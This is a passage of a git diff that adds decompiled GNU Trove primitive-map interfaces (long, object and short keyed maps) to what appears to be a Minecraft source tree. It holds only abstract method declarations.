+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract TLongFloatIterator iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TLongFloatProcedure paramTLongFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TLongFloatProcedure paramTLongFloatProcedure);
+  
+  public abstract boolean increment(long paramLong);
+  
+  public abstract boolean adjustValue(long paramLong, float paramFloat);
+  
+  public abstract float adjustOrPutValue(long paramLong, float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/gnu/trove/map/TLongIntMap.java b/src/minecraft/gnu/trove/map/TLongIntMap.java
new file mode 100644
index 0000000..90af62d
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongIntMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TLongIntIterator;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TLongIntProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TLongIntMap
+  extends Serializable
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract int getNoEntryValue();
+  
+  public abstract int put(long paramLong, int paramInt);
+  
+  public abstract int putIfAbsent(long paramLong, int paramInt);
+  
+  public abstract void putAll(Map<? extends Long, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TLongIntMap paramTLongIntMap);
+  
+  public abstract int get(long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int remove(long paramLong);
+  
+  public abstract int size();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract TLongIntIterator iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TLongIntProcedure paramTLongIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TLongIntProcedure paramTLongIntProcedure);
+  
+  public abstract boolean increment(long paramLong);
+  
+  public abstract boolean adjustValue(long paramLong, int paramInt);
+  
+  public abstract int adjustOrPutValue(long paramLong, int paramInt1, int paramInt2);
+}
diff --git a/src/minecraft/gnu/trove/map/TLongLongMap.java b/src/minecraft/gnu/trove/map/TLongLongMap.java
new file mode 100644
index 0000000..a223716
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongLongMap.java
@@ -0,0 +1,70 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TLongLongIterator;
+import gnu.trove.procedure.TLongLongProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TLongLongMap
+  extends Serializable
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract long getNoEntryValue();
+  
+  public abstract long put(long paramLong1, long paramLong2);
+  
+  public abstract long putIfAbsent(long paramLong1, long paramLong2);
+  
+  public abstract void putAll(Map<? extends Long, ? extends Long> paramMap);
+  
+  public abstract void putAll(TLongLongMap paramTLongLongMap);
+  
+  public abstract long get(long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract long remove(long paramLong);
+  
+  public abstract int size();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract TLongLongIterator iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TLongLongProcedure paramTLongLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TLongLongProcedure paramTLongLongProcedure);
+  
+  public abstract boolean increment(long paramLong);
+  
+  public abstract boolean adjustValue(long paramLong1, long paramLong2);
+  
+  public abstract long adjustOrPutValue(long paramLong1, long paramLong2, long paramLong3);
+}
diff --git a/src/minecraft/gnu/trove/map/TLongObjectMap.java b/src/minecraft/gnu/trove/map/TLongObjectMap.java
new file mode 100644
index 0000000..90a99d8
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongObjectMap.java
@@ -0,0 +1,65 @@
+package gnu.trove.map;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.iterator.TLongObjectIterator;
+import gnu.trove.procedure.TLongObjectProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.set.TLongSet;
+import java.util.Collection;
+import java.util.Map;
+
+public abstract interface TLongObjectMap<V>
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract boolean containsValue(Object paramObject);
+  
+  public abstract V get(long paramLong);
+  
+  public abstract V put(long paramLong, V paramV);
+  
+  public abstract V putIfAbsent(long paramLong, V paramV);
+  
+  public abstract V remove(long paramLong);
+  
+  public abstract void putAll(Map<? extends Long, ? extends V> paramMap);
+  
+  public abstract void putAll(TLongObjectMap<V> paramTLongObjectMap);
+  
+  public abstract void clear();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract Collection<V> valueCollection();
+  
+  public abstract V[] values();
+  
+  public abstract <T> T[] values(T[] paramArrayOfT);
+  
+  public abstract TLongObjectIterator<V> iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TObjectProcedure<V> paramTObjectProcedure);
+  
+  public abstract boolean forEachEntry(TLongObjectProcedure<V> paramTLongObjectProcedure);
+  
+  public abstract void transformValues(TObjectFunction<V, V> paramTObjectFunction);
+  
+  public abstract boolean retainEntries(TLongObjectProcedure<V> paramTLongObjectProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TLongShortMap.java b/src/minecraft/gnu/trove/map/TLongShortMap.java
new file mode 100644
index 0000000..bdb60a8
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongShortMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TLongShortIterator;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TLongShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TLongShortMap
+  extends Serializable
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract short getNoEntryValue();
+  
+  public abstract short put(long paramLong, short paramShort);
+  
+  public abstract short putIfAbsent(long paramLong, short paramShort);
+  
+  public abstract void putAll(Map<? extends Long, ? extends Short> paramMap);
+  
+  public abstract void putAll(TLongShortMap paramTLongShortMap);
+  
+  public abstract short get(long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract short remove(long paramLong);
+  
+  public abstract int size();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract TLongShortIterator iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TLongShortProcedure paramTLongShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TLongShortProcedure paramTLongShortProcedure);
+  
+  public abstract boolean increment(long paramLong);
+  
+  public abstract boolean adjustValue(long paramLong, short paramShort);
+  
+  public abstract short adjustOrPutValue(long paramLong, short paramShort1, short paramShort2);
+}
diff --git a/src/minecraft/gnu/trove/map/TObjectByteMap.java b/src/minecraft/gnu/trove/map/TObjectByteMap.java
new file mode 100644
index 0000000..1809ca9
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TObjectByteMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TObjectByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TObjectByteProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.util.Map;
+import java.util.Set;
+
+public abstract interface TObjectByteMap<K>
+{
+  public abstract byte getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(Object paramObject);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract byte get(Object paramObject);
+  
+  public abstract byte put(K paramK, byte paramByte);
+  
+  public abstract byte putIfAbsent(K paramK, byte paramByte);
+  
+  public abstract byte remove(Object paramObject);
+  
+  public abstract void putAll(Map<? extends K, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TObjectByteMap<K> paramTObjectByteMap);
+  
+  public abstract void clear();
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Object[] keys();
+  
+  public abstract K[] keys(K[] paramArrayOfK);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract TObjectByteIterator<K> iterator();
+  
+  public abstract boolean increment(K paramK);
+  
+  public abstract boolean adjustValue(K paramK, byte paramByte);
+  
+  public abstract byte adjustOrPutValue(K paramK, byte paramByte1, byte paramByte2);
+  
+  public abstract boolean forEachKey(TObjectProcedure<K> paramTObjectProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TObjectByteProcedure<K> paramTObjectByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TObjectByteProcedure<K> paramTObjectByteProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TObjectCharMap.java b/src/minecraft/gnu/trove/map/TObjectCharMap.java
new file mode 100644
index 0000000..e70f470
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TObjectCharMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TObjectCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TObjectCharProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.util.Map;
+import java.util.Set;
+
+public abstract interface TObjectCharMap<K>
+{
+  public abstract char getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(Object paramObject);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract char get(Object paramObject);
+  
+  public abstract char put(K paramK, char paramChar);
+  
+  public abstract char putIfAbsent(K paramK, char paramChar);
+  
+  public abstract char remove(Object paramObject);
+  
+  public abstract void putAll(Map<? extends K, ? extends Character> paramMap);
+  
+  public abstract void putAll(TObjectCharMap<K> paramTObjectCharMap);
+  
+  public abstract void clear();
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Object[] keys();
+  
+  public abstract K[] keys(K[] paramArrayOfK);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract TObjectCharIterator<K> iterator();
+  
+  public abstract boolean increment(K paramK);
+  
+  public abstract boolean adjustValue(K paramK, char paramChar);
+  
+  public abstract char adjustOrPutValue(K paramK, char paramChar1, char paramChar2);
+  
+  public abstract boolean forEachKey(TObjectProcedure<K> paramTObjectProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TObjectCharProcedure<K> paramTObjectCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TObjectCharProcedure<K> paramTObjectCharProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TObjectDoubleMap.java b/src/minecraft/gnu/trove/map/TObjectDoubleMap.java
new file mode 100644
index 0000000..204bc34
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TObjectDoubleMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TObjectDoubleIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TObjectDoubleProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.util.Map;
+import java.util.Set;
+
+public abstract interface TObjectDoubleMap<K>
+{
+  public abstract double getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(Object paramObject);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract double get(Object paramObject);
+  
+  public abstract double put(K paramK, double paramDouble);
+  
+  public abstract double putIfAbsent(K paramK, double paramDouble);
+  
+  public abstract double remove(Object paramObject);
+  
+  public abstract void putAll(Map<? extends K, ? extends Double> paramMap);
+  
+  public abstract void putAll(TObjectDoubleMap<K> paramTObjectDoubleMap);
+  
+  public abstract void clear();
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Object[] keys();
+  
+  public abstract K[] keys(K[] paramArrayOfK);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract TObjectDoubleIterator<K> iterator();
+  
+  public abstract boolean increment(K paramK);
+  
+  public abstract boolean adjustValue(K paramK, double paramDouble);
+  
+  public abstract double adjustOrPutValue(K paramK, double paramDouble1, double paramDouble2);
+  
+  public abstract boolean forEachKey(TObjectProcedure<K> paramTObjectProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TObjectDoubleProcedure<K> paramTObjectDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TObjectDoubleProcedure<K> paramTObjectDoubleProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TObjectFloatMap.java b/src/minecraft/gnu/trove/map/TObjectFloatMap.java
new file mode 100644
index 0000000..4dda576
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TObjectFloatMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TObjectFloatIterator;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TObjectFloatProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.util.Map;
+import java.util.Set;
+
+public abstract interface TObjectFloatMap<K>
+{
+  public abstract float getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(Object paramObject);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract float get(Object paramObject);
+  
+  public abstract float put(K paramK, float paramFloat);
+  
+  public abstract float putIfAbsent(K paramK, float paramFloat);
+  
+  public abstract float remove(Object paramObject);
+  
+  public abstract void putAll(Map<? extends K, ? extends Float> paramMap);
+  
+  public abstract void putAll(TObjectFloatMap<K> paramTObjectFloatMap);
+  
+  public abstract void clear();
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Object[] keys();
+  
+  public abstract K[] keys(K[] paramArrayOfK);
+  
+  public abstract TFloatCollection valueCollection();
+  
+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract TObjectFloatIterator<K> iterator();
+  
+  public abstract boolean increment(K paramK);
+  
+  public abstract boolean adjustValue(K paramK, float paramFloat);
+  
+  public abstract float adjustOrPutValue(K paramK, float paramFloat1, float paramFloat2);
+  
+  public abstract boolean forEachKey(TObjectProcedure<K> paramTObjectProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TObjectFloatProcedure<K> paramTObjectFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TObjectFloatProcedure<K> paramTObjectFloatProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TObjectIntMap.java b/src/minecraft/gnu/trove/map/TObjectIntMap.java
new file mode 100644
index 0000000..e09c0f2
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TObjectIntMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TObjectIntIterator;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TObjectIntProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.util.Map;
+import java.util.Set;
+
+public abstract interface TObjectIntMap<K>
+{
+  public abstract int getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(Object paramObject);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract int get(Object paramObject);
+  
+  public abstract int put(K paramK, int paramInt);
+  
+  public abstract int putIfAbsent(K paramK, int paramInt);
+  
+  public abstract int remove(Object paramObject);
+  
+  public abstract void putAll(Map<? extends K, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TObjectIntMap<K> paramTObjectIntMap);
+  
+  public abstract void clear();
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Object[] keys();
+  
+  public abstract K[] keys(K[] paramArrayOfK);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract TObjectIntIterator<K> iterator();
+  
+  public abstract boolean increment(K paramK);
+  
+  public abstract boolean adjustValue(K paramK, int paramInt);
+  
+  public abstract int adjustOrPutValue(K paramK, int paramInt1, int paramInt2);
+  
+  public abstract boolean forEachKey(TObjectProcedure<K> paramTObjectProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TObjectIntProcedure<K> paramTObjectIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TObjectIntProcedure<K> paramTObjectIntProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TObjectLongMap.java b/src/minecraft/gnu/trove/map/TObjectLongMap.java
new file mode 100644
index 0000000..e4ab76f
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TObjectLongMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TObjectLongIterator;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TObjectLongProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import java.util.Map;
+import java.util.Set;
+
+public abstract interface TObjectLongMap<K>
+{
+  public abstract long getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(Object paramObject);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract long get(Object paramObject);
+  
+  public abstract long put(K paramK, long paramLong);
+  
+  public abstract long putIfAbsent(K paramK, long paramLong);
+  
+  public abstract long remove(Object paramObject);
+  
+  public abstract void putAll(Map<? extends K, ? extends Long> paramMap);
+  
+  public abstract void putAll(TObjectLongMap<K> paramTObjectLongMap);
+  
+  public abstract void clear();
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Object[] keys();
+  
+  public abstract K[] keys(K[] paramArrayOfK);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract TObjectLongIterator<K> iterator();
+  
+  public abstract boolean increment(K paramK);
+  
+  public abstract boolean adjustValue(K paramK, long paramLong);
+  
+  public abstract long adjustOrPutValue(K paramK, long paramLong1, long paramLong2);
+  
+  public abstract boolean forEachKey(TObjectProcedure<K> paramTObjectProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TObjectLongProcedure<K> paramTObjectLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TObjectLongProcedure<K> paramTObjectLongProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TObjectShortMap.java b/src/minecraft/gnu/trove/map/TObjectShortMap.java
new file mode 100644
index 0000000..ae40278
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TObjectShortMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TObjectShortIterator;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.procedure.TObjectShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import java.util.Map;
+import java.util.Set;
+
+public abstract interface TObjectShortMap<K>
+{
+  public abstract short getNoEntryValue();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(Object paramObject);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract short get(Object paramObject);
+  
+  public abstract short put(K paramK, short paramShort);
+  
+  public abstract short putIfAbsent(K paramK, short paramShort);
+  
+  public abstract short remove(Object paramObject);
+  
+  public abstract void putAll(Map<? extends K, ? extends Short> paramMap);
+  
+  public abstract void putAll(TObjectShortMap<K> paramTObjectShortMap);
+  
+  public abstract void clear();
+  
+  public abstract Set<K> keySet();
+  
+  public abstract Object[] keys();
+  
+  public abstract K[] keys(K[] paramArrayOfK);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract TObjectShortIterator<K> iterator();
+  
+  public abstract boolean increment(K paramK);
+  
+  public abstract boolean adjustValue(K paramK, short paramShort);
+  
+  public abstract short adjustOrPutValue(K paramK, short paramShort1, short paramShort2);
+  
+  public abstract boolean forEachKey(TObjectProcedure<K> paramTObjectProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TObjectShortProcedure<K> paramTObjectShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TObjectShortProcedure<K> paramTObjectShortProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TShortByteMap.java b/src/minecraft/gnu/trove/map/TShortByteMap.java
new file mode 100644
index 0000000..b3746ae
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortByteMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TShortByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TShortByteProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TShortByteMap
+  extends Serializable
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract byte getNoEntryValue();
+  
+  public abstract byte put(short paramShort, byte paramByte);
+  
+  public abstract byte putIfAbsent(short paramShort, byte paramByte);
+  
+  public abstract void putAll(Map<? extends Short, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TShortByteMap paramTShortByteMap);
+  
+  public abstract byte get(short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract byte remove(short paramShort);
+  
+  public abstract int size();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract TShortByteIterator iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TShortByteProcedure paramTShortByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TShortByteProcedure paramTShortByteProcedure);
+  
+  public abstract boolean increment(short paramShort);
+  
+  public abstract boolean adjustValue(short paramShort, byte paramByte);
+  
+  public abstract byte adjustOrPutValue(short paramShort, byte paramByte1, byte paramByte2);
+}
diff --git a/src/minecraft/gnu/trove/map/TShortCharMap.java b/src/minecraft/gnu/trove/map/TShortCharMap.java
new file mode 100644
index 0000000..b9364b9
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortCharMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TShortCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TShortCharProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TShortCharMap
+  extends Serializable
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract char getNoEntryValue();
+  
+  public abstract char put(short paramShort, char paramChar);
+  
+  public abstract char putIfAbsent(short paramShort, char paramChar);
+  
+  public abstract void putAll(Map<? extends Short, ? extends Character> paramMap);
+  
+  public abstract void putAll(TShortCharMap paramTShortCharMap);
+  
+  public abstract char get(short paramShort);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract char remove(short paramShort);
+  
+  public abstract int size();
+  
+  public abstract TShortSet keySet();
+  
+  public abstract short[] keys();
+  
+  public abstract short[] keys(short[] paramArrayOfShort);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract boolean containsKey(short paramShort);
+  
+  public abstract TShortCharIterator iterator();
+  
+  public abstract boolean forEachKey(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TShortCharProcedure paramTShortCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TShortCharProcedure paramTShortCharProcedure);
+  
+  public abstract boolean increment(short paramShort);
+  
+  public abstract boolean adjustValue(short paramShort, char paramChar);
+  
+  public abstract char adjustOrPutValue(short paramShort, char paramChar1, char paramChar2);
+}
diff --git a/src/minecraft/gnu/trove/map/TShortDoubleMap.java b/src/minecraft/gnu/trove/map/TShortDoubleMap.java
new file mode 100644
index 0000000..32e75ce
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TShortDoubleMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TShortDoubleIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TShortDoubleProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TShortSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TShortDoubleMap
+  extends Serializable
+{
+  public abstract short getNoEntryKey();
+  
+  public abstract double getNoEntryValue();
+  
+  public abstract double put(short paramShort, double paramDouble);
+  
+  public abstract double putIfAbsent(short paramShort, double paramDouble);
+  
+  public abstract void putAll(Map<? extends Short, ? extends Double> paramMap);
+  
